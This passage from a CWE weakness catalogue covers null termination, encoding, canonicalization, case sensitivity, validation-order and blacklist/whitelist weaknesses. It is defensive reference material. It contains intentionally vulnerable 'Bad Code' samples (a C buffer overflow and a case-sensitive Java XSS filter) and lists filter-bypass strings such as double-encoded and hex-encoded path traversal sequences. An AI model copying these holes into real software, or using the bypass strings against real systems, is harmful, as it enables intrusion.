The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code. As for misplaced null characters, the biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. These logic issues may result in any number of security flaws.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**700**	14
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	148
CanPrecede	Wv	126	Buffer Over-read	1000	157
CanAlsoBe	Wv	147	Improper Sanitization of Input Terminators	1000	176
ChildOf		169	Technology-Specific Special Elements	**699**	195
PeerOf	We	463	Deletion of Data Structure Sentinel	1000	484
PeerOf	We	464	Addition of Data Structure Sentinel	1000	485
ChildOf	Wc	707	Improper Enforcement of Message or Data Structure	**1000**	709
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	734	731
CanFollow	We	*193*	*Off-by-one Error*	*1000*	*222*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*
CanFollow	Wc	*682*	*Incorrect Calculation*	*1000*	*673*

Relationship Notes

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Overlaps missing input terminator.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Null Termination
7 Pernicious Kingdoms			String Termination Error
CLASP			Miscalculated null termination
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	POS30-C		Use the readlink() function properly
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR32-C		Null-terminate byte strings as required

White Box Definitions

A weakness where the code path has:

1. end statement that passes a data item to a null-terminated string function
2. start statement that removes the null-terminator from the data item

Where "removes" is defined through the following scenarios:

1. data item never ended with null-terminator
2. null-terminator is re-written
3. null-terminator was purposely removed from data item

Maintenance Notes

As currently described, this entry is more like a category than a weakness.

CWE-171: Cleansing, Canonicalization, and Comparison Errors

Category ID: 171 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of data within protection mechanisms that attempt to perform sanity checks for untrusted data.

Applicable Platforms

Languages

- All

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system. For example, valid input may be in the form of an absolute pathname(s). You can also limit pathnames to exist on selected drives, have the format specified to include only separator characters (forward or backward slashes) and alphanumeric characters, and follow a naming convention such as having a maximum of 32 characters followed by a '.' and ending with specified extensions.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	137	Representation Errors	**699**	169
CanPrecede	W	289	Authentication Bypass by Alternate Name	1000	315
ParentOf	W	*172*	*Encoding Error*	***699***	*200*
ParentOf	W	*178*	*Failure to Resolve Case Sensitivity*	***699***	*206*
ParentOf	W	*179*	*Incorrect Behavior Order: Early Validation*	***699***	*207*
ParentOf	W	*180*	*Incorrect Behavior Order: Validate Before Canonicalize*	***699***	*208*
ParentOf	W	*181*	*Incorrect Behavior Order: Validate Before Filter*	***699***	*209*
ParentOf	W	*182*	*Collapse of Data Into Unsafe Value*	***699***	*210*
ParentOf	W	*183*	*Permissive Whitelist*	***699***	*211*
ParentOf	W	*184*	*Incomplete Blacklist*	***699***	*212*
ParentOf	W	*185*	*Incorrect Regular Expression*	***699***	*214*
ParentOf	W	*187*	*Partial Comparison*	***699***	*216*
ParentOf	W	*478*	*Missing Default Case in Switch Statement*	*699*	*501*
ParentOf	W	*486*	*Comparison of Classes by Name*	*699*	*510*

Nature	Type	ID	Name	V	Page
ParentOf	Weakness Base	*595*	*Comparison of Object References Instead of Object Contents*	*699*	*585*
ParentOf	Weakness Base	*596*	*Incorrect Semantic Object Comparison*	*699*	*585*
ParentOf	Weakness Class	*697*	*Insufficient Comparison*	***699***	*687*
ParentOf	Weakness Variant	*768*	*Incorrect Short Circuit Evaluation*	***699***	

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Cleansing, Canonicalization, and Comparison Errors

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
43	Exploiting Multiple Input Interpretation Layers	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
71	Using Unicode Encoding to Bypass Validation Logic	
72	URL Encoding	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	

References

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

CWE-172: Encoding Error

Weakness ID: 172 *(Weakness Class)* **Status:** Draft

Description

Summary

The software fails to properly handle encoding or decoding of the data, resulting in unexpected values.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Weakness Class	22	Path Traversal	1000	22
CanPrecede	Weakness Base	41	Improper Resolution of Path Equivalence	1000	43
ChildOf	Pillar	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf	Weakness Class	707	Improper Enforcement of Message or Data Structure	**1000**	709
ParentOf	Weakness Variant	*173*	*Failure to Handle Alternate Encoding*	***699*** ***1000***	*201*
ParentOf	Weakness Variant	*174*	*Double Decoding of the Same Data*	***699***	*202*

Nature	Type	ID	Name	V	Page
				1000	
ParentOf	WW	*175*	*Failure to Handle Mixed Encoding*	***699 1000***	*203*
ParentOf	WW	*176*	*Failure to Handle Unicode Encoding*	***699 1000***	*203*
ParentOf	WW	*177*	*Failure to Handle URL Encoding (Hex Encoding)*	***699 1000***	*205*

Relationship Notes

Partially overlaps path traversal and equivalence weaknesses.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Encoding Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
78	Using Escaped Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic

Maintenance Notes

This is more like a category than a weakness.

Many other types of encodings should be listed in this category.

CWE-173: Failure to Handle Alternate Encoding

Weakness ID: 173 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	172	Encoding Error	**699 1000**	200
CanPrecede	WV	289	Authentication Bypass by Alternate Name	1000	315

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Alternate Encoding

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic

CWE-174: Double Decoding of the Same Data

Weakness ID: 174 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0333	Directory traversal using double encoding.
CVE-2004-1315	
CVE-2004-1938	"%2527" (double-encoded single quote) used in SQL injection.
CVE-2004-1939	XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)
CVE-2005-0054	Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname.
CVE-2005-1945	Double hex-encoded data.

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	172	Encoding Error	**699** 1000	200
ChildOf	Wc	675	Duplicate Operations on Resource	**1000**	663

Research Gaps

Probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Double Encoding

CWE-175: Failure to Handle Mixed Encoding

Weakness ID: 175 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not properly handle when the same input uses several different (mixed) encodings.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	172	Encoding Error	**699** **1000**	200

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Mixed Encoding

CWE-176: Failure to Handle Unicode Encoding

Weakness ID: 176 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not properly handle when an input contains Unicode encoding.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

Bad Code

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
  WCHAR unicodeUser[UNLEN+1];
  MultiByteToWideChar(CP_ACP, 0, username, -1,
  unicodeUser, sizeof(unicodeUser));
  NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples

Reference	Description
CVE-2000-0884	
CVE-2001-0669	Overlaps interaction error.
CVE-2001-0709	

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	172	Encoding Error	**699** **1000**	200
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Unicode Encoding
CERT C Secure Coding	MSC10-C	Character Encoding - UTF8 Related Issues

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
71	Using Unicode Encoding to Bypass Validation Logic	

CWE-177: Failure to Handle URL Encoding (Hex Encoding)

Weakness ID: 177 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not properly handle when all or part of an input has been URL encoded.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0671	"%00" (encoded null)
CVE-2000-0900	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
CVE-2001-0693	"%20" (encoded space)
CVE-2001-0778	"%20" (encoded space)
CVE-2001-1140	"%00" (encoded null)
CVE-2002-1025	"%00" (encoded null)
CVE-2002-1031	"%00" (encoded null)
CVE-2002-1213	"%2f" (encoded slash)
CVE-2002-1291	"%00" (encoded null)
CVE-2002-1575	"%0a" (overlaps CRLF)
CVE-2002-1831	Crash via hex-encoded space "%20".
CVE-2003-0424	"%20" (encoded space)
CVE-2004-0072	"%5c" (encoded backslash) and "%2e" (encoded dot) sequences
CVE-2004-0189	"%00" (encoded null)
CVE-2004-0280	"%20" (encoded space)
CVE-2004-0760	"%00" (encoded null)
CVE-2004-0847	"%5c" (encoded backslash)
CVE-2004-2121	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
CVE-2005-2256	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	172	Encoding Error	**699 1000**	200

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	URL Encoding (Hex Encoding)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
72	URL Encoding

CWE-178: Failure to Resolve Case Sensitivity

Weakness ID: 178 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

case-insensitive passwords reducing the size of the key space, making brute force attacks easier

bypassing filters or access controls using alternate names

multiple interpretation errors using alternate names.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the following example, an XSS sanitization routine only checks for the lower-case "script" string, which can be easily defeated using tags such as SCRIPT or ScRiPt.

Java Example: *Bad Code*

```
public String sanitize(String input, String mask) {
  return input.replaceAll("script", mask);
}
```

Observed Examples

Reference	Description
CVE-1999-0239	Directories may be listed because lower case web requests are not properly handled by the server.
CVE-2000-0497	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2000-0498	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2000-0499	Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.
CVE-2001-0766	A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.
CVE-2001-0795	
CVE-2001-1238	
CVE-2002-0485	Leads to interpretation error
CVE-2002-1820	Mixed case problem allows "admin" to have "Admin" rights (alternate name property).
CVE-2002-2119	Case insensitive passwords lead to search space reduction.

Reference	Description
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2004-1083	
CVE-2004-2154	Mixed upper/lowercase allows bypass of ACLs.
CVE-2004-2214	HTTP server allows bypass of access restrictions using URIs with mixed case.
CVE-2005-0269	
CVE-2005-4509	Bypass malicious script detection by using tokens that aren't case sensitive.
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script.

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
CanPrecede	W	289	Authentication Bypass by Alternate Name	1000	315
CanPrecede	W	433	Unparsed Raw Web Content Delivery	1000	460
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	W	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708

Research Gaps

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

Affected Resources

- File/Directory

Functional Areas

- File Processing, Credentials

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Case Sensitivity (lowercase, uppercase, mixed case)

CWE-179: Incorrect Behavior Order: Early Validation

Weakness ID: 179 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

Extended Description

Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Modes of Introduction
Since early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.

Potential Mitigations
Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf	Wc	693	Protection Mechanism Failure	1000	684
ChildOf	Wc	696	Incorrect Behavior Order	**1000**	686
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
ParentOf	Wa	*180*	*Incorrect Behavior Order: Validate Before Canonicalize*	***1000***	*208*
ParentOf	Wa	*181*	*Incorrect Behavior Order: Validate Before Filter*	***1000***	*209*

Research Gaps
These errors are mostly reported in path traversal vulnerabilities, but the concept applies anyplace where filtering occurs.

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
PLOVER	Early Validation Errors

Related Attack Patterns
CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic

CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

Weakness ID: 180 *(Weakness Base)* **Status:** Draft

Description
Summary
The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

Extended Description
This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Observed Examples
Reference	Description
CVE-2000-0191	Overlaps "fakechild/../realchild"

Reference	Description
CVE-2002-0433	
CVE-2002-0802	
CVE-2003-0332	
CVE-2004-2363	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.

Potential Mitigations

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

This overlaps other categories.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf	Wa	179	Incorrect Behavior Order: Early Validation	**1000**	207
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Functional Areas

- Non-specific

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Canonicalize
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
4	Using Alternative IP Address Encodings
71	Using Unicode Encoding to Bypass Validation Logic
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic

CWE-181: Incorrect Behavior Order: Validate Before Filter

Weakness ID: 181 *(Weakness Base)* **Status:** Draft

Description

Summary

The software validates data before it has been filtered or cleansed, which prevents the software from detecting data that becomes invalid after the filtering step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Alternate Terms

Validate-before-cleanse

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0934	
CVE-2003-0282	

Reference	Description
CVE-2003-0417	Possibly

Potential Mitigations

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf		179	Incorrect Behavior Order: Early Validation	**1000**	207
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Research Gaps

This category is probably under-studied.

Functional Areas

- Protection Mechanism

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Filter
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic

CWE-182: Collapse of Data Into Unsafe Value

Weakness ID: 182 *(Weakness Base)* **Status:** Draft

Description

Summary

The software cleanses or filters data in a way that causes the data to be reduced or "collapsed" into an unsafe value.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0325	".../...//" collapsed to "..." due to removal of "./" in web server.
CVE-2002-0784	chain: HTTP server protects against ".." but allows "." variants such as "////../.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////../" (CWE-182).
CVE-2004-0815	"/////" in pathname collapses to absolute path.
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".
CVE-2005-3123	"/.//../////././" is collapsed into "/.././" after ".." and "//" sequences are removed.

Potential Mitigations

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	WW	33	Path Traversal: '....' (Multiple Dot)	1000	35
CanPrecede	WW	34	Path Traversal: '..../'	1000	36
CanPrecede	WW	35	Path Traversal: '.../.../'	1000	37
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf	WC	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
CanFollow	WC	*185*	*Incorrect Regular Expression*	*1000*	*214*

Relationship Notes

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

Relevant Properties

- Trustability

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Collapse of Data into Unsafe Value

CWE-183: Permissive Whitelist

Weakness ID: 183 *(Weakness Base)* **Status:** Draft

Description

Summary

An application uses a "whitelist" of acceptable values, but the whitelist includes at least one unsafe value, leading to resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Define rigid requirements specifications for input and strictly accept input based on those specifications. Determine if any of the valid data include special characters that are associated with security exploits (use this taxonomy and the Common Vulnerabilities and Exposures as a start to determine what characters are potentially malicious). If permitted, then follow the potential mitigations associated with the weaknesses in this taxonomy. Always handle these data carefully and anticipate attempts to exploit your system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199

Nature	Type	ID	Name	V	Page
ChildOf		693	Protection Mechanism Failure	**1000**	684
ChildOf		697	Insufficient Comparison	1000	687
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
CanAlsoBe		*186*	*Overly Restrictive Regular Expression*	*1000*	*215*
PeerOf		*434*	*Unrestricted File Upload*	*1000*	*461*
PeerOf		*625*	*Permissive Regular Expression*	*1000*	*609*
PeerOf		*627*	*Dynamic Variable Evaluation*	*1000*	*611*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Permissive Whitelist

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
43	Exploiting Multiple Input Interpretation Layers	
71	Using Unicode Encoding to Bypass Validation Logic	

CWE-184: Incomplete Blacklist

Weakness ID: 184 *(Weakness Base)* **Status:** Draft

Description

Summary

An application uses a "blacklist" of prohibited values, but the blacklist is incomplete.

Time of Introduction

- Implementation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Detection Factors

Black Box

Exploitation of incomplete blacklist weaknesses using the obvious manipulations might fail, but minor variations might succeed.

Demonstrative Examples

In the following example, an XSS sanitization routine (blacklist) only checks for the lower-case "script" string, which can be easily defeated.

Java Example: *Bad Code*

```
public String sanitize(String input, String mask) {
  return input.replaceAll("script", mask);
}
```

Observed Examples

Reference	Description
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2004-0542	Programming language does not filter certain shell metacharacters in Windows environment.
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse.
CVE-2004-2351	Resultant XSS from incomplete blacklist (only <script> and <style> are checked).
CVE-2005-1824	SQL injection protection scheme does not quote the "\" special character.
